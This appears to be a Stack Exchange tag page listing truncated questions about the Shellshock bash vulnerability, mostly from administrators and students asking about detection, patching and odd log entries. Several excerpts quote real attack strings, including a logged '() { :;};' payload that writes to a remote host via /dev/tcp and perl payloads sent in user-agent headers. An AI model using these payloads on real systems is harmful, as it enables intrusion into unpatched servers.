Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [shellshock]

Shellshock is a series of security vulnerabilities in bash, starting with (CVE-2014-6271) which allows arbitrary code execution from environment variables.

1
vote
1answer
246 views

Get the privileges of root with the user with I do an exploit with Shellshock [closed]

I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability: use ...
4
votes
2answers
115 views

Is there evidence of Shellshock being exploited before its public announcement?

The Shellshock vulnerability was about 25 years old when it was publicly announced. Has there been any evidence of it being exploited in the wild before its "official" public announcement?
-1
votes
2answers
157 views

FireEye IPS “Bash Remote Code Injection (Shellshock)” events [closed]

I see a peculiar IPS event for "Bash Remote Code Injection (Shellshock) HTTP CGI (headers)". Although I have configured on my FireEye NX box to block this event, this alert has been bothering me for a ...
1
vote
1answer
473 views

Pentest for shellshock via url?

I have been hit by probes in the past that were delivering a shell shock validation string x='() { :;}; echo vulnerable' via a URL / browser based method hitting public facing web services. What is ...
-1
votes
1answer
191 views

Shellshock Exploit [duplicate]

I want to know about "Shellshock bug" and therefore I would like to ask some questions: Is this bug still a real threat today (in 2016)? What damage can be done using this exploit? How many systems ...
3
votes
2answers
62 views

Are there any remote sites available to apply shellshock on?

I'm a grad student. We're looking for a remote site to perform shellshock for educational purposes. Sites which are willingly vulnerable for ethical hacking purposes??
-2
votes
1answer
1k views

Use the Shellshock vulnerability to get a root console as a normal user [closed]

Owner is root and also made a Set-UID for the following code snippet: # include <stdio .h> void main () { setuid ( geteuid ()); system ("/ bin/ls -l"); } How might the Shellshock ...
23
votes
2answers
2k views

What vulnerability is targeted by an HTTP referer starting with (){ :;};/bin/bash

I found this code, followed by several bash commands downloading and running a payload from the web, in the referer field in my apache error logs. The attack appears to work by converting a command ...
0
votes
2answers
273 views

Testing shellshock with PHP

I have been trying to test shellshock vulnerability on PHP similar to this answer. I am running Apache server with PHP running as mod_php. The PHP version is 5.3.10. I have a phpfile (phptest.php): &...
3
votes
1answer
273 views

Strange apache log line [duplicate]

I just came across this entry on one of my servers: 213.165.70.245 - - [17/Jun/2015:01:58:22 +0200] "GET / HTTP/1.1" 404 442 "() { :;}; /bin/bash -c \"echo 109.234.106.8/ > /dev/tcp/74.208.79.34/...
2
votes
2answers
685 views

Did this ShellShock exploit work?

Looking through my web server logs, I noticed two different ShellShock attacks on my server, both of which generated a HTTP 200 OK response code. They look like this (IP address/date and time redacted)...
0
votes
1answer
66 views

Linux Updates to Shellshock

My question is about the community response to Shellshock. What improvements were made in either the Linux development cycle or in the recommendation to its users to prevent something like Shellshock/...
3
votes
2answers
568 views

I am “Shell Shocked” - remote script downloaded and executed - can I ban file downloads as security measure

A few days ago, someone tried a series of requests on our nginx instance. All failed except one. 54.164.156.8 - - [**/Mar/2015:**********] "GET / HTTP/1.1" 200 393 "-" "() { :;};/usr/bin/perl -e '...
3
votes
1answer
385 views

Bash Shellshock

I am trying to find out if my devices are vulnerable to bash shellshock. I have run the commands found on https://shellshocker.net. It seems my devices are both susceptible to only one of the ...
0
votes
1answer
491 views

Recent “attack” to my server that might be using shellshock exploit

I just notice this repeated entry in nginx log: 31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /cgi-bin/up.cgi HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/...
3
votes
1answer
810 views

Odd requests from Apache logs

I've been monitoring some weird activity in the access logs for my site and I've noticed a couple of weird attempts against the server. I'm wondering if anyone has seen these before. It's an Apache 2....
1
vote
3answers
328 views

Why Bash Shellshock vulnerability cannot be detected at webservers in advance?

There are lots of posts regarding the shellshock vulnerability. I can understand the vulnerability in detail. However, I'm curious about why any Intrusion detection system or host-based tools (e.g., ...
3
votes
2answers
119 views

many csh http shellshock attacks

I administrate a public server that receives about a 100 csh HTTP shell shock per day from different sources. It is an HTTP GET Method that that requests the /cgi-bin/authLogin.cgi URI. Knowing that ...
0
votes
1answer
438 views

csh http shellshock on a windows 2008 server

My company's McAfee system detected many "http CSH bash ShellShock code injection attacks" attempts on a Windows 2008 server running Apache Tomcat Coyote. Does this config present a potential attack ...
7
votes
2answers
5k views

Hacked Ubuntu server, probably hacked commands (netstat, ps, …), how to replace them? [duplicate]

An Ubuntu server of my company has been hacked to carry out a DoS attack. I found the shellshock bug had not been fixed by my colleagues, and I think it's the problem. Then, I found an ELF file that ...
3
votes
1answer
1k views

Why Shellshock works in useragent string?

I was wondering why Shellshock works when put in the useragent. Based on what I could find it is because a web server (e.g Apache) uses the useragent string in its internal working. Why would a ...
0
votes
1answer
2k views

Shellshock used in CUPS

Some days ago I read about the Shellshock bug and I wanted to test a CUPS server for it and readed some example codes to build this code: () { test;};echo /"Content-type: text/plain\"; echo; echo; /...
3
votes
1answer
944 views

Shellshock and PHP fastcgi

I understand that running apache/mod_php is safe, but I havn't heard about the case of running php in fastcgi mode (via nginx/php5-fpm), so, anyone can confirm this is also safe?
-1
votes
1answer
158 views

Shellshock vulnerability for pc inside LAN

A common pc running bash inside a home LAN network (with a router/gateway providing internet access to the LAN) does not have any contact with the external internet, except browser navigation and the ...
1
vote
1answer
649 views

Exploiting shellshock

On doing some digging on the shell shock vulnerability, I found that being able to run the exploit via a remote location depends on whether the attacker actually knows the exact cgi script which uses ...
3
votes
2answers
539 views

Set-uid script wrappers, `system(3)` shellshock and Bash Function Import from Environment

Given that it is a frequent requirement to allow unprivileged users restricted access to privileged functions: Jobbing sysadmins sometimes provide this in the form of shellscripts, which are then ...
1
vote
1answer
3k views

shellshock dhcp exploitation

An attacker can exploit the bash bug in the DHCP protocol. On searching , how this can be performed , I found "http://www.sectechno.com/2014/09/28/shellshock-dhcp-server-exploitation/" , but could ...
2
votes
1answer
179 views

Why “() { :;};”?

I was wanting to understand why the code below serves as a proof-of-concept for telling me whether my server is vulnerable or not. Moreover, how does the vulnerability work at lower-level? $ env 'x=()...
3
votes
1answer
268 views

How to tell if someone else's site is vulnerable to Shellshock without hacking them?

Registration card in hand, I went to register a newly purchased power tool yesterday. But when I arrived at the manufacturer's site, I was greeted by an ancient homegrown interface that was marked "...
0
votes
3answers
210 views

Shellshocking Webservers, does anyone know of an attack-vector other than Headers?

i've see a lot of different webserver-attacks against cgi-pages, but have seen the malicious payload only in the headers, might it be User-Agent Cookies Referer Custom-Headers does anyone know if (...
1
vote
2answers
1k views

Shellshock plus sudo/su environment whitelist bypass - big problem?

The question is: How big a problem is this? Looks pretty big to me. With the shellshock bug it is possible to bypass the whitelist of known-harmless environment variables in sudo, as well as other ...
6
votes
1answer
314 views

When Shellshock was introduced, how bad was it **then**?

The shellshock bug, and the underlying feature allowing Function Import from the Environment (I'm calling it FIE), have been in bash since at least 1993, before the rise of CGI. At that time, the ...
19
votes
2answers
3k views

Are python's popen (and similar) functions affected by Shellshock?

Basically which python's functions trigger bash (and might be impacted by shellshock), and which don't ? I have come up with this question by seeing in some scripts the popen() function. My question ...
13
votes
4answers
3k views

Does the bash shell function import feature inevitably give rise to privilege escalation problem?

Even without the immediate code-execution problem of Shellshock trailing commands, to what extent does the feature of bash importing functions from the environment give rise to a comprehensive ...
10
votes
2answers
7k views

Does shellshock produce a comprehensive local privilege escalation vector?

If setuid scripts take arbitrary environment variables, apart from a few black-listed ones like LD_LIBRARY_PATH, from the caller, does this not mean that any setuid script running #!/bin/bash directly ...
-1
votes
1answer
1k views

The correct way to check for vulnerability CVE-2014-7169 (aftershock)

I found two ways of checking for the vulnerability CVE-2014-7169 (aftershock or taviso bug) bashcheck uses: cd /tmp;rm echo 2>/dev/null X='() { function a a>\' bash -c echo 2>/dev/null > ...
1
vote
1answer
697 views

ShellShock vulnerability and Java Web Applications

I am running a java webapplication ( Spring 3.2 based) on linux hosts. The linux hosts are vulnerable to the ShellShock vulnerability. Can someone exploit this vulnerabiity on my website ?
8
votes
1answer
1k views

Example of how the remaining shellshock bash bug CVE-2014-7169 (taviso bug) could be exploited?

I have a general idea about the Shellshock bash bug (CVE-2014-6271 reported Sep 24, 2014) of what the vulnerability is and how it could be exploited. Here you find examples on how to exploit the ...
1
vote
0answers
788 views

Bash shell exploit using SIP

I have a SIP proxy server, that would like to test Shellshock on. I have used this https://github.com/zaf/sipshock to try and test. but this is what I get. So I just want to know generally what is ...
2
votes
1answer
2k views

Is server exploitable by Shellshock with cgi-enabled only?

A server with vulnerable bash, but cgi enabled only and there are no cgi scripts in cgi-bin. Is it still exploitable ?? If there are scripts in cgi-bin and only server-admin knows about filenames of ...
2
votes
1answer
1k views

Setup a quick web site vulnerable to Shellshock bash bug

Can anyone let me know the steps to setup a simple Hello World Apache (or other GNU/Linux) website that i can hit over 80 or 443 and exploit any bash CVE vuln; assuming I have a vulnerable bash. I ...
25
votes
1answer
8k views

Where is Bash Shellshock vulnerability in source code?

I have been hearing about the Bash Shellshock problem since yesterday and am curious to see where in the source code this problem occurs. I have downloaded the source for Bash 4.2 from here. Where ...
12
votes
5answers
2k views

Is replacing bash with another shell a prudent step?

Considering that RedHat and other major teams in business are conducting an audit in bash and have uncovered a few other vulnerabilities besides -7169 (-7186 and -7187), is it sensible to link /bin/sh ...
0
votes
0answers
83 views

Vulnerability test for CVE-2014-7169 (Shellshock) [duplicate]

I found this test here for the Shellshock vulnerability follow-up CVE-2014-7169 , which is basicaly doing: echo `env X='() { (a)=>\' sh -c "echo '[Vulnerability CVE-2014-7169 Detected]'" 2> /...
5
votes
1answer
3k views

How does this shellshock scan work?

My server is obviously up to date and not vulnerable to shellshock exploits. However I am still curious to know how the following shellshock scan work: /var/log/apache2 # cat access.log | grep bash ...
14
votes
3answers
27k views

What is “tmUnblock.cgi” and can it be exploited by Shellshock? (Linux / Apache webserver)

I found what looks like a possible attempted Shellshock attack targeting tmUnblock.cgi, and I'm trying to understand it. I was checking through Apache access logs for a small webserver during the ...
0
votes
2answers
1k views

“Shell shock” - exploitable when `system()` syscall or `exec(bash)`, right?

Is my understanding correct that in order to exploit via "Shell Shock", binary we influence needs to execute bash (and we need to have influence on command line)? Therefore, am I correct, that if ...
11
votes
2answers
2k views

What operating systems and devices are known to be affected by Shellshock? What patches are available?

This is intended to be a Community Wiki to document which operating systems and devices are known to be affected by the Shellshock vulnerability (and related vulnerabilities), and what patches are ...
1
vote
3answers
3k views

Are Citrix Netscalers vulnerable to shellshock bash command?

My enterprise environment is "protected" with reverse proxies, how safe am I?
2
votes
2answers
3k views

Git bash shellshock vulnerability [duplicate]

I have installed Git for Windows with bash shell support. Is it vulnerable to ShellShock? Refs: GitHub's Bash Shell for Windows is vulnerable to Shellshock. Can it do any harm though? https://...